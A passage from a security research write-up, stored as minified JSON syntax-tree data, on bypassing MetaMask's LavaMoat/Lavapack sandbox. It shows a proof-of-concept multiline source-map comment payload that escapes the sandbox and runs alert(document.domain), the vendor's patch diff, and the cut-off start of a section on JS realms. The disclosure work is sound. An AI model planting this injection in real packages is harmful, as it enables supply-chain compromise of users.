'",{"type":24,"tag":158,"props":49625,"children":49626},{"style":222},[49627],{"type":29,"value":2308},{"type":24,"tag":158,"props":49629,"children":49630},{"style":177},[49631],{"type":29,"value":49632}," src",{"type":24,"tag":158,"props":49634,"children":49635},{"style":222},[49636],{"type":29,"value":2308},{"type":24,"tag":158,"props":49638,"children":49639},{"style":1108},[49640],{"type":29,"value":49641}," '",{"type":24,"tag":158,"props":49643,"children":49645},{"style":49644},"--shiki-default:#D7BA7D",[49646],{"type":29,"value":49647},"\\n",{"type":24,"tag":158,"props":49649,"children":49650},{"style":1108},[49651],{"type":29,"value":49652},"})()'",{"type":24,"tag":158,"props":49654,"children":49655},{"style":188},[49656],{"type":29,"value":1071},{"type":24,"tag":158,"props":49658,"children":49659},{"class":160,"line":238},[49660,49664],{"type":24,"tag":158,"props":49661,"children":49662},{"style":1914},[49663],{"type":29,"value":18227},{"type":24,"tag":158,"props":49665,"children":49666},{"style":188},[49667],{"type":29,"value":473},{"type":24,"tag":158,"props":49669,"children":49670},{"class":160,"line":259},[49671],{"type":24,"tag":158,"props":49672,"children":49673},{"style":188},[49674],{"type":29,"value":307},{"type":24,"tag":158,"props":49676,"children":49677},{"class":160,"line":280},[49678,49683,49687,49692],{"type":24,"tag":158,"props":49679,"children":49680},{"style":1914},[49681],{"type":29,"value":49682},"catch",{"type":24,"tag":158,"props":49684,"children":49685},{"style":188},[49686],{"type":29,"value":2262},{"type":24,"tag":158,"props":49688,"children":49689},{"style":177},[49690],{"type":29,"value":49691},"err",{"type":24,"tag":158,"props":49693,"children":49694},{"style":188},[49695],{"type":29,"value":16038},{"type":24,"tag":158,"props":49697,"children":49698},{"class":160,"line":301},[49699,49703,49707,49711,49715,49720,49724,49729,49733],{"type":24,"tag":158,"props":49700,"children":49701},{"style":1914},[49702],{"type":29,"value":3160},{"type":24,"tag":158,"props":49704,"children":49705},{"style":188},[49706],{"type":29,"value":2262},{"type":24,"tag":158,"props":49708,"children":49709},{"style":177},[49710],{"type":29,"value":49691},{"type":24,"tag":158,"props":49712,"children":49713},{"style":222},[49714],{"type":29,"value":32683},{"type":24,"tag":158,"props":49716,"children":49717},{"style":1108},[49718],{"type":29,"value":49719}," 'STOP'",{"type":24,"tag":158,"props":49721,"children":49722},{"style":188},[49723],{"type":29,"value":723},{"type":24,"tag":158,"props":49725,"children":49726},{"style":1914},[49727],{"type":29,"value":49728},"return",{"type":24,"tag":158,"props":49730,"children":49731},{"style":165},[49732],{"type":29,"value":40602},{"type":24,"tag":158,"props":49734,"children":49735},{"style":188},[49736],{"type":29,"value":473},{"type":24,"tag":158,"props":49738,"children":49739},{"class":160,"line":626},[49740,49744,49748,49752,49756,49761,49765,49770,49775,49780,49784,49788,49793],{"type":24,"tag":158,"props":49741,"children":49742},{"style":1914},[49743],{"type":29,"value":3160},{"type":24,"tag":158,"props":49745,"children":49746},{"style":188},[49747],{"type":29,"value":2262},{"type":24,"tag":158,"props":49749,"children":49750},{"style":177},[49751],{"type":29,"value":49691},{"type":24,"tag":158,"props":49753,"children":49754},{"style":188},[49755],{"type":29,"value":347},{"type":24,"tag":158,"props":49757,"children":49758},{"style":177},[49759],{"type":29,"value":49760},"constructor",{"type":24,"tag":158,"props":49762,"children":49763},{"style":188},[49764],{"type":29,"value":347},{"type":24,"tag":158,"props":49766,"children":49767},{"style":177},[49768],{"type":29,"value":49769},"name",{"type":24,"tag":158,"props":49771,"children":49772},{"style":222},[49773],{"type":29,"value":49774}," !==",{"type":24,"tag":158,"props":49776,"children":49777},{"style":1108},[49778],{"type":29,"value":49779}," 'SyntaxError'",{"type":24,"tag":158,"props":49781,"children":49782},{"style":188},[49783],{"type":29,"value":723},{"type":24,"tag":158,"props":49785,"children":49786},{"style":1914},[49787],{"type":29,"value":49728},{"type":24,"tag":158,"props":49789,"children":49790},{"style":177},[49791],{"type":29,"value":49792}," err",{"type":24,"tag":158,"props":49794,"children":49795},{"style":188},[49796],{"type":29,"value":473},{"type":24,"tag":158,"props":49798,"children":49799},{"class":160,"line":668},[49800,49804,49809,49813,49817,49821,49825,49829,49834],{"type":24,"tag":158,"props":49801,"children":49802},{"style":1914},[49803],{"type":29,"value":18227},{"type":24,"tag":158,"props":49805,"children":49806},{"style":496},[49807],{"type":29,"value":49808}," errorInfo",{"type":24,"tag":158,"props":49810,"children":49811},{"style":188},[49812],{"type":29,"value":504},{"type":24,"tag":158,"props":49814,"children":49815},{"style":177},[49816],{"type":29,"value":33931},{"type":24,"tag":158,"props":49818,"children":49819},{"style":188},[49820],{"type":29,"value":191},{"type":24,"tag":158,"props":49822,"children":49823},{"style":177},[49824],{"type":29,"value":49215},{"type":24,"tag":158,"props":49826,"children":49827},{"style":188},[49828],{"type":29,"value":191},{"type":24,"tag":158,"props":49830,"children":49831},{"style":177},[49832],{"type":29,"value":49833},"opts",{"type":24,"tag":158,"props":49835,"children":49836},{"style":188},[49837],{"type":29,"value":1071},{"type":24,"tag":158,"props":49839,"children":49840},{"class":160,"line":676},[49841],{"type":24,"tag":158,"props":49842,"children":49843},{"style":188},[49844],{"type":29,"value":307},{"type":24,"tag":25,"props":49846,"children":49847},{},[49848,49850,49854,49856,49862,49864,49869],{"type":29,"value":49849},"Interestingly, it ",{"type":24,"tag":32,"props":49851,"children":49852},{},[49853],{"type":29,"value":5633},{"type":29,"value":49855}," possible to inject a ",{"type":24,"tag":154,"props":49857,"children":49859},{"className":49858},[],[49860],{"type":29,"value":49861},"}); (() => {",{"type":29,"value":49863}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":24,"tag":154,"props":49865,"children":49867},{"className":49866},[],[49868],{"type":29,"value":49385},{"type":29,"value":49870}," sandbox of Lavapack.",{"type":24,"tag":395,"props":49872,"children":49874},{"id":49873},"sourcemap-the-syntax-killer",[49875],{"type":29,"value":49876},"SourceMap: The Syntax Killer",{"type":24,"tag":25,"props":49878,"children":49879},{},[49880,49882,49889],{"type":29,"value":49881},"Lavapack has a feature to extract source maps files from the code using ",{"type":24,"tag":101,"props":49883,"children":49886},{"href":49884,"rel":49885},"https://www.npmjs.com/package/convert-source-map",[105],[49887],{"type":29,"value":49888},"convert-source-map",{"type":29,"value":49890}," npm package:",{"type":24,"tag":147,"props":49892,"children":49894},{"className":32624,"code":49893,"language":32626,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[49895],{"type":24,"tag":154,"props":49896,"children":49897},{"__ignoreMap":7},[49898,49922,49964,49972,50013,50054,50082],{"type":24,"tag":158,"props":49899,"children":49900},{"class":160,"line":161},[49901,49905,49910,49914,49918],{"type":24,"tag":158,"props":49902,"children":49903},{"style":165},[49904],{"type":29,"value":32638},{"type":24,"tag":158,"props":49906,"children":49907},{"style":496},[49908],{"type":29,"value":49909}," extractSourceMaps",{"type":24,"tag":158,"props":49911,"children":49912},{"style":188},[49913],{"type":29,"value":504},{"type":24,"tag":158,"props":49915,"children":49916},{"style":177},[49917],{"type":29,"value":39278},{"type":24,"tag":158,"props":49919,"children":49920},{"style":188},[49921],{"type":29,"value":16038},{"type":24,"tag":158,"props":49923,"children":49924},{"class":160,"line":213},[49925,49929,49934,49938,49943,49947,49952,49956,49960],{"type":24,"tag":158,"props":49926,"children":49927},{"style":165},[49928],{"type":29,"value":37452},{"type":24,"tag":158,"props":49930,"children":49931},{"style":177},[49932],{"type":29,"value":49933}," converter",{"type":24,"tag":158,"props":49935,"children":49936},{"style":222},[49937],{"type":29,"value":462},{"type":24,"tag":158,"props":49939,"children":49940},{"style":177},[49941],{"type":29,"value":49942}," convertSourceMap",{"type":24,"tag":158,"props":49944,"children":49945},{"style":188},[49946],{"type":29,"value":347},{"type":24,"tag":158,"props":49948,"children":49949},{"style":496},[49950],{"type":29,"value":49951},"fromSource",{"type":24,"tag":158,"props":49953,"children":49954},{"style":188},[49955],{"type":29,"value":504},{"type":24,"tag":158,"props":49957,"children":49958},{"style":177},[49959],{"type":29,"value":39278},{"type":24,"tag":158,"props":49961,"children":49962},{"style":188},[49963],{"type":29,"value":2125},{"type":24,"tag":158,"props":49965,"children":49966},{"class":160,"line":238},[49967],{"type":24,"tag":158,"props":49968,"children":49969},{"style":2588},[49970],{"type":29,"value":49971}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":24,"tag":158,"props":49973,"children":49974},{"class":160,"line":259},[49975,49979,49984,49988,49992,49996,50000,50004,50009],{"type":24,"tag":158,"props":49976,"children":49977},{"style":165},[49978],{"type":29,"value":37452},{"type":24,"tag":158,"props":49980,"children":49981},{"style":177},[49982],{"type":29,"value":49983}," maps",{"type":24,"tag":158,"props":49985,"children":49986},{"style":222},[49987],{"type":29,"value":462},{"type":24,"tag":158,"props":49989,"children":49990},{"style":177},[49991],{"type":29,"value":49933},{"type":24,"tag":158,"props":49993,"children":49994},{"style":222},[49995],{"type":29,"value":15419},{"type":24,"tag":158,"props":49997,"children":49998},{"style":177},[49999],{"type":29,"value":49933},{"type":24,"tag":158,"props":50001,"children":50002},{"style":188},[50003],{"type":29,"value":347},{"type":24,"tag":158,"props":50005,"children":50006},{"style":496},[50007],{"type":29,"value":50008},"toObject",{"type":24,"tag":158,"props":50010,"children":50011},{"style":188},[50012],{"type":29,"value":9376},{"type":24,"tag":158,"props":50014,"children":50015},{"class":160,"line":280},[50016,50020,50025,50029,50033,50037,50042,50046,50050],{"type":24,"tag":158,"props":50017,"children":50018},{"style":165},[50019],{"type":29,"value":37452},{"type":24,"tag":158,"props":50021,"children":50022},{"style":177},[50023],{"type":29,"value":50024}," code",{"type":24,"tag":158,"props":50026,"children":50027},{"style":222},[50028],{"type":29,"value":462},{"type":24,"tag":158,"props":50030,"children":50031},{"style":177},[50032],{"type":29,"value":49942},{"type":24,"tag":158,"props":50034,"children":50035},{"style":188},[50036],{"type":29,"value":347},{"type":24,"tag":158,"props":50038,"children":50039},{"style":496},[50040],{"type":29,"value":50041},"removeComments",{"type":24,"tag":158,"props":50043,"children":50044},{"style":188},[50045],{"type":29,"value":504},{"type":24,"tag":158,"props":50047,"children":50048},{"style":177},[50049],{"type":29,"value":39278},{"type":24,"tag":158,"props":50051,"children":50052},{"style":188},[50053],{"type":29,"value":2125},{"type":24,"tag":158,"props":50055,"children":50056},{"class":160,"line":301},[50057,50061,50065,50069,50073,50078],{"type":24,"tag":158,"props":50058,"children":50059},{"style":1914},[50060],{"type":29,"value":40463},{"type":24,"tag":158,"props":50062,"children":50063},{"style":188},[50064],{"type":29,"value":372},{"type":24,"tag":158,"props":50066,"children":50067},{"style":177},[50068],{"type":29,"value":154},{"type":24,"tag":158,"props":50070,"children":50071},{"style":188},[50072],{"type":29,"value":191},{"type":24,"tag":158,"props":50074,"children":50075},{"style":177},[50076],{"type":29,"value":50077},"maps",{"type":24,"tag":158,"props":50079,"children":50080},{"style":188},[50081],{"type":29,"value":382},{"type":24,"tag":158,"props":50083,"children":50084},{"class":160,"line":626},[50085],{"type":24,"tag":158,"props":50086,"children":50087},{"style":188},[50088],{"type":29,"value":307},{"type":24,"tag":25,"props":50090,"children":50091},{},[50092,50094,50099,50101,50106],{"type":29,"value":50093},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":24,"tag":154,"props":50095,"children":50097},{"className":50096},[],[50098],{"type":29,"value":49536},{"type":29,"value":50100}," stage. Reviewing the ",{"type":24,"tag":154,"props":50102,"children":50104},{"className":50103},[],[50105],{"type":29,"value":49888},{"type":29,"value":50107}," code, we can see exactly how this happens.",{"type":24,"tag":147,"props":50109,"children":50111},{"className":32624,"code":50110,"language":32626,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[50112],{"type":24,"tag":154,"props":50113,"children":50114},{"__ignoreMap":7},[50115,50154,50180,50188,50402,50409,50416,50423,50458,50508],{"type":24,"tag":158,"props":50116,"children":50117},{"class":160,"line":161},[50118,50123,50127,50132,50136,50140,50144,50149],{"type":24,"tag":158,"props":50119,"children":50120},{"style":177},[50121],{"type":29,"value":50122},"Object",{"type":24,"tag":158,"props":50124,"children":50125},{"style":188},[50126],{"type":29,"value":347},{"type":24,"tag":158,"props":50128,"children":50129},{"style":496},[50130],{"type":29,"value":50131},"defineProperty",{"type":24,"tag":158,"props":50133,"children":50134},{"style":188},[50135],{"type":29,"value":504},{"type":24,"tag":158,"props":50137,"children":50138},{"style":171},[50139],{"type":29,"value":39150},{"type":24,"tag":158,"props":50141,"children":50142},{"style":188},[50143],{"type":29,"value":191},{"type":24,"tag":158,"props":50145,"children":50146},{"style":1108},[50147],{"type":29,"value":50148},"'commentRegex'",{"type":24,"tag":158,"props":50150,"children":50151},{"style":188},[50152],{"type":29,"value":50153},", {\n",{"type":24,"tag":158,"props":50155,"children":50156},{"class":160,"line":213},[50157,50162,50166,50170,50175],{"type":24,"tag":158,"props":50158,"children":50159},{"style":496},[50160],{"type":29,"value":50161}," get",{"type":24,"tag":158,"props":50163,"children":50164},{"style":177},[50165],{"type":29,"value":225},{"type":24,"tag":158,"props":50167,"children":50168},{"style":165},[50169],{"type":29,"value":39478},{"type":24,"tag":158,"props":50171,"children":50172},{"style":496},[50173],{"type":29,"value":50174}," getCommentRegex",{"type":24,"tag":158,"props":50176,"children":50177},{"style":188},[50178],{"type":29,"value":50179}," () {\n",{"type":24,"tag":158,"props":50181,"children":50182},{"class":160,"line":238},[50183],{"type":24,"tag":158,"props":50184,"children":50185},{"style":2588},[50186],{"type":29,"value":50187}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":24,"tag":158,"props":50189,"children":50190},{"class":160,"line":259},[50191,50195,50201,50206,50211,50216,50220,50225,50230,50235,50239,50243,50248,50253,50258,50263,50267,50271,50275,50280,50284,50289,50294,50299,50304,50308,50312,50316,50320,50324,50328,50332,50336,50341,50346,50350,50355,50360,50364,50368,50372,50376,50381,50385,50389,50393,50398],{"type":24,"tag":158,"props":50192,"children":50193},{"style":1914},[50194],{"type":29,"value":18227},{"type":24,"tag":158,"props":50196,"children":50198},{"style":50197},"--shiki-default:#D16969",[50199],{"type":29,"value":50200}," /",{"type":24,"tag":158,"props":50202,"children":50203},{"style":496},[50204],{"type":29,"value":50205},"^",{"type":24,"tag":158,"props":50207,"children":50208},{"style":50197},[50209],{"type":29,"value":50210},"\\s",{"type":24,"tag":158,"props":50212,"children":50213},{"style":49644},[50214],{"type":29,"value":50215},"*?\\/",{"type":24,"tag":158,"props":50217,"children":50218},{"style":1108},[50219],{"type":29,"value":2048},{"type":24,"tag":158,"props":50221,"children":50222},{"style":49644},[50223],{"type":29,"value":50224},"\\/\\*",{"type":24,"tag":158,"props":50226,"children":50227},{"style":1108},[50228],{"type":29,"value":50229},"][",{"type":24,"tag":158,"props":50231,"children":50232},{"style":50197},[50233],{"type":29,"value":50234},"@#",{"type":24,"tag":158,"props":50236,"children":50237},{"style":1108},[50238],{"type":29,"value":16646},{"type":24,"tag":158,"props":50240,"children":50241},{"style":50197},[50242],{"type":29,"value":50210},{"type":24,"tag":158,"props":50244,"children":50245},{"style":49644},[50246],{"type":29,"value":50247},"+?",{"type":24,"tag":158,"props":50249,"children":50250},{"style":50197},[50251],{"type":29,"value":50252},"sourceMappingURL=data:",{"type":24,"tag":158,"props":50254,"children":50255},{"style":1108},[50256],{"type":29,"value":50257},"(((?:",{"type":24,"tag":158,"props":50259,"children":50260},{"style":50197},[50261],{"type":29,"value":50262},"application",{"type":24,"tag":158,"props":50264,"children":50265},{"style":496},[50266],{"type":29,"value":1234},{"type":24,"tag":158,"props":50268,"children":50269},{"style":50197},[50270],{"type":29,"value":29},{"type":24,"tag":158,"props":50272,"children":50273},{"style":1108},[50274],{"type":29,"value":521},{"type":24,"tag":158,"props":50276,"children":50277},{"style":49644},[50278],{"type":29,"value":50279},"\\/",{"type":24,"tag":158,"props":50281,"children":50282},{"style":50197},[50283],{"type":29,"value":35260},{"type":24,"tag":158,"props":50285,"children":50286},{"style":1108},[50287],{"type":29,"value":50288},")(?:",{"type":24,"tag":158,"props":50290,"children":50291},{"style":50197},[50292],{"type":29,"value":50293},";charset=",{"type":24,"tag":158,"props":50295,"children":50296},{"style":1108},[50297],{"type":29,"value":50298},"([^",{"type":24,"tag":158,"props":50300,"children":50301},{"style":50197},[50302],{"type":29,"value":50303},";,",{"type":24,"tag":158,"props":50305,"children":50306},{"style":1108},[50307],{"type":29,"value":16646},{"type":24,"tag":158,"props":50309,"children":50310},{"style":49644},[50311],{"type":29,"value":50247},{"type":24,"tag":158,"props":50313,"children":50314},{"style":1108},[50315],{"type":29,"value":521},{"type":24,"tag":158,"props":50317,"children":50318},{"style":49644},[50319],{"type":29,"value":4820},{"type":24,"tag":158,"props":50321,"children":50322},{"style":1108},[50323],{"type":29,"value":521},{"type":24,"tag":158,"props":50325,"children":50326},{"style":49644},[50327],{"type":29,"value":4820},{"type":24,"tag":158,"props":50329,"children":50330},{"style":1108},[50331],{"type":29,"value":521},{"type":24,"tag":158,"props":50333,"children":50334},{"style":49644},[50335],{"type":29,"value":4820},{"type":24,"tag":158,"props":50337,"children":50338},{"style":1108},[50339],{"type":29,"value":50340},"(?:",{"type":24,"tag":158,"props":50342,"children":50343},{"style":50197},[50344],{"type":29,"value":50345},";",{"type":24,"tag":158,"props":50347,"children":50348},{"style":1108},[50349],{"type":29,"value":504},{"type":24,"tag":158,"props":50351,"children":50352},{"style":50197},[50353],{"type":29,"value":50354},"base64",{"type":24,"tag":158,"props":50356,"children":50357},{"style":1108},[50358],{"type":29,"value":50359},"))",{"type":24,"tag":158,"props":50361,"children":50362},{"style":49644},[50363],{"type":29,"value":4820},{"type":24,"tag":158,"props":50365,"children":50366},{"style":50197},[50367],{"type":29,"value":5785},{"type":24,"tag":158,"props":50369,"children":50370},{"style":1108},[50371],{"type":29,"value":504},{"type":24,"tag":158,"props":50373,"children":50374},{"style":50197},[50375],{"type":29,"value":347},{"type":24,"tag":158,"props":50377,"children":50378},{"style":49644},[50379],{"type":29,"value":50380},"*?",{"type":24,"tag":158,"props":50382,"children":50383},{"style":1108},[50384],{"type":29,"value":521},{"type":24,"tag":158,"props":50386,"children":50387},{"style":496},[50388],{"type":29,"value":1105},{"type":24,"tag":158,"props":50390,"children":50391},{"style":50197},[50392],{"type":29,"value":6238},{"type":24,"tag":158,"props":50394,"children":50395},{"style":165},[50396],{"type":29,"value":50397},"mg",{"type":24,"tag":158,"props":50399,"children":50400},{"style":188},[50401],{"type":29,"value":473},{"type":24,"tag":158,"props":50403,"children":50404},{"class":160,"line":280},[50405],{"type":24,"tag":158,"props":50406,"children":50407},{"style":188},[50408],{"type":29,"value":4366},{"type":24,"tag":158,"props":50410,"children":50411},{"class":160,"line":301},[50412],{"type":24,"tag":158,"props":50413,"children":50414},{"style":188},[50415],{"type":29,"value":36601},{"type":24,"tag":158,"props":50417,"children":50418},{"class":160,"line":626},[50419],{"type":24,"tag":158,"props":50420,"children":50421},{"emptyLinePlaceholder":16},[50422],{"type":29,"value":481},{"type":24,"tag":158,"props":50424,"children":50425},{"class":160,"line":668},[50426,50430,50434,50438,50442,50446,50450,50454],{"type":24,"tag":158,"props":50427,"children":50428},{"style":171},[50429],{"type":29,"value":39150},{"type":24,"tag":158,"props":50431,"children":50432},{"style":188},[50433],{"type":29,"value":347},{"type":24,"tag":158,"props":50435,"children":50436},{"style":496},[50437],{"type":29,"value":50041},{"type":24,"tag":158,"props":50439,"children":50440},{"style":222},[50441],{"type":29,"value":462},{"type":24,"tag":158,"props":50443,"children":50444},{"style":165},[50445],{"type":29,"value":39478},{"type":24,"tag":158,"props":50447,"children":50448},{"style":188},[50449],{"type":29,"value":2262},{"type":24,"tag":158,"props":50451,"children":50452},{"style":177},[50453],{"type":29,"value":33931},{"type":24,"tag":158,"props":50455,"children":50456},{"style":188},[50457],{"type":29,"value":16038},{"type":24,"tag":158,"props":50459,"children":50460},{"class":160,"line":676},[50461,50465,50469,50473,50478,50482,50486,50490,50495,50499,50504],{"type":24,"tag":158,"props":50462,"children":50463},{"style":1914},[50464],{"type":29,"value":40463},{"type":24,"tag":158,"props":50466,"children":50467},{"style":177},[50468],{"type":29,"value":49632},{"type":24,"tag":158,"props":50470,"children":50471},{"style":188},[50472],{"type":29,"value":347},{"type":24,"tag":158,"props":50474,"children":50475},{"style":496},[50476],{"type":29,"value":50477},"replace",{"type":24,"tag":158,"props":50479,"children":50480},{"style":188},[50481],{"type":29,"value":504},{"type":24,"tag":158,"props":50483,"children":50484},{"style":171},[50485],{"type":29,"value":39150},{"type":24,"tag":158,"props":50487,"children":50488},{"style":188},[50489],{"type":29,"value":347},{"type":24,"tag":158,"props":50491,"children":50492},{"style":177},[50493],{"type":29,"value":50494},"commentRegex",{"type":24,"tag":158,"props":50496,"children":50497},{"style":188},[50498],{"type":29,"value":191},{"type":24,"tag":158,"props":50500,"children":50501},{"style":1108},[50502],{"type":29,"value":50503},"''",{"type":24,"tag":158,"props":50505,"children":50506},{"style":188},[50507],{"type":29,"value":1071},{"type":24,"tag":158,"props":50509,"children":50510},{"class":160,"line":684},[50511],{"type":24,"tag":158,"props":50512,"children":50513},{"style":188},[50514],{"type":29,"value":17814},{"type":24,"tag":25,"props":50516,"children":50517},{},[50518,50520,50526],{"type":29,"value":50519},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":24,"tag":154,"props":50521,"children":50523},{"className":50522},[],[50524],{"type":29,"value":50525},"/*",{"type":29,"value":50527},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":24,"tag":395,"props":50529,"children":50531},{"id":50530},"the-bypass",[50532],{"type":29,"value":50533},"The Bypass",{"type":24,"tag":25,"props":50535,"children":50536},{},[50537,50539,50544,50546,50551],{"type":29,"value":50538},"By abusing the ",{"type":24,"tag":154,"props":50540,"children":50542},{"className":50541},[],[50543],{"type":29,"value":50041},{"type":29,"value":50545}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":24,"tag":154,"props":50547,"children":50549},{"className":50548},[],[50550],{"type":29,"value":49385},{"type":29,"value":50552}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":24,"tag":147,"props":50554,"children":50556},{"className":32624,"code":50555,"language":32626,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[50557],{"type":24,"tag":154,"props":50558,"children":50559},{"__ignoreMap":7},[50560,50568,50575,50583,50591,50599,50607,50615,50623,50630,50638],{"type":24,"tag":158,"props":50561,"children":50562},{"class":160,"line":161},[50563],{"type":24,"tag":158,"props":50564,"children":50565},{"style":2588},[50566],{"type":29,"value":50567},"/*# sourceMappingURL=data:,{}\n",{"type":24,"tag":158,"props":50569,"children":50570},{"class":160,"line":213},[50571],{"type":24,"tag":158,"props":50572,"children":50573},{"emptyLinePlaceholder":16},[50574],{"type":29,"value":481},{"type":24,"tag":158,"props":50576,"children":50577},{"class":160,"line":238},[50578],{"type":24,"tag":158,"props":50579,"children":50580},{"style":2588},[50581],{"type":29,"value":50582},"}}}}\n",{"type":24,"tag":158,"props":50584,"children":50585},{"class":160,"line":259},[50586],{"type":24,"tag":158,"props":50587,"children":50588},{"style":2588},[50589],{"type":29,"value":50590},"}, {\n",{"type":24,"tag":158,"props":50592,"children":50593},{"class":160,"line":280},[50594],{"type":24,"tag":158,"props":50595,"children":50596},{"style":2588},[50597],{"type":29,"value":50598}," package: \"xpl\",\n",{"type":24,"tag":158,"props":50600,"children":50601},{"class":160,"line":301},[50602],{"type":24,"tag":158,"props":50603,"children":50604},{"style":2588},[50605],{"type":29,"value":50606}," file: \"node_modules/xpl/index.js\",\n",{"type":24,"tag":158,"props":50608,"children":50609},{"class":160,"line":626},[50610],{"type":24,"tag":158,"props":50611,"children":50612},{"style":2588},[50613],{"type":29,"value":50614}," test: alert(document.domain),\n",{"type":24,"tag":158,"props":50616,"children":50617},{"class":160,"line":668},[50618],{"type":24,"tag":158,"props":50619,"children":50620},{"style":2588},[50621],{"type":29,"value":50622}," test1: () => { () => { () => { () => {\n",{"type":24,"tag":158,"props":50624,"children":50625},{"class":160,"line":676},[50626],{"type":24,"tag":158,"props":50627,"children":50628},{"emptyLinePlaceholder":16},[50629],{"type":29,"value":481},{"type":24,"tag":158,"props":50631,"children":50632},{"class":160,"line":684},[50633],{"type":24,"tag":158,"props":50634,"children":50635},{"style":2588},[50636],{"type":29,"value":50637},"/*\n",{"type":24,"tag":158,"props":50639,"children":50640},{"class":160,"line":700},[50641],{"type":24,"tag":158,"props":50642,"children":50643},{"style":2588},[50644],{"type":29,"value":50645},"*/\n",{"type":24,"tag":25,"props":50647,"children":50648},{},[50649],{"type":29,"value":50650},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":24,"tag":395,"props":50652,"children":50654},{"id":50653},"lavapack-patch",[50655],{"type":29,"value":50656},"Lavapack Patch",{"type":24,"tag":25,"props":50658,"children":50659},{},[50660,50662,50668],{"type":29,"value":50661},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":24,"tag":154,"props":50663,"children":50665},{"className":50664},[],[50666],{"type":29,"value":50667},"assertValidJS",{"type":29,"value":50669},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":24,"tag":25,"props":50671,"children":50672},{},[50673,50675,50682],{"type":29,"value":50674},"The patch was introduced in commit ",{"type":24,"tag":101,"props":50676,"children":50679},{"href":50677,"rel":50678},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[105],[50680],{"type":29,"value":50681},"9c38cd4",{"type":29,"value":347},{"type":24,"tag":147,"props":50684,"children":50686},{"className":41625,"code":50685,"language":41627,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[50687],{"type":24,"tag":154,"props":50688,"children":50689},{"__ignoreMap":7},[50690,50698,50706,50714,50722,50730,50738,50746,50753,50761],{"type":24,"tag":158,"props":50691,"children":50692},{"class":160,"line":161},[50693],{"type":24,"tag":158,"props":50694,"children":50695},{"style":465},[50696],{"type":29,"value":50697},"+ function assertValidJS(code) {\n",{"type":24,"tag":158,"props":50699,"children":50700},{"class":160,"line":213},[50701],{"type":24,"tag":158,"props":50702,"children":50703},{"style":465},[50704],{"type":29,"value":50705},"+ try {\n",{"type":24,"tag":158,"props":50707,"children":50708},{"class":160,"line":238},[50709],{"type":24,"tag":158,"props":50710,"children":50711},{"style":465},[50712],{"type":29,"value":50713},"+ new Function(code)\n",{"type":24,"tag":158,"props":50715,"children":50716},{"class":160,"line":259},[50717],{"type":24,"tag":158,"props":50718,"children":50719},{"style":465},[50720],{"type":29,"value":50721},"+ } catch (err) {\n",{"type":24,"tag":158,"props":50723,"children":50724},{"class":160,"line":280},[50725],{"type":24,"tag":158,"props":50726,"children":50727},{"style":465},[50728],{"type":29,"value":50729},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":24,"tag":158,"props":50731,"children":50732},{"class":160,"line":301},[50733],{"type":24,"tag":158,"props":50734,"children":50735},{"style":465},[50736],{"type":29,"value":50737},"+ }\n",{"type":24,"tag":158,"props":50739,"children":50740},{"class":160,"line":626},[50741],{"type":24,"tag":158,"props":50742,"children":50743},{"style":465},[50744],{"type":29,"value":50745},"+ }\n",{"type":24,"tag":158,"props":50747,"children":50748},{"class":160,"line":668},[50749],{"type":24,"tag":158,"props":50750,"children":50751},{"emptyLinePlaceholder":16},[50752],{"type":29,"value":481},{"type":24,"tag":158,"props":50754,"children":50755},{"class":160,"line":676},[50756],{"type":24,"tag":158,"props":50757,"children":50758},{"style":465},[50759],{"type":29,"value":50760},"+ // additional layer of syntax checking independent of browserify\n",{"type":24,"tag":158,"props":50762,"children":50763},{"class":160,"line":684},[50764],{"type":24,"tag":158,"props":50765,"children":50766},{"style":465},[50767],{"type":29,"value":50768},"+ assertValidJS(sourceMeta.code)\n",{"type":24,"tag":59,"props":50770,"children":50772},{"id":50771},"hacking-js-realms",[50773],{"type":29,"value":50774},"Hacking JS Realms",{"type":24,"tag":25,"props":50776,"children":50777},{},[50778,50780,50785],{"type":29,"value":50779},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":24,"tag":154,"props":50781,"children":50783},{"className":50782},[],[50784],{"type":29,"value":38681},{"type":29,"value":50786}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":24,"tag":147,"props":50788,"children":50790},{"className":32624,"code":50789,"language":32626,"meta":7,"style":7},"const w = 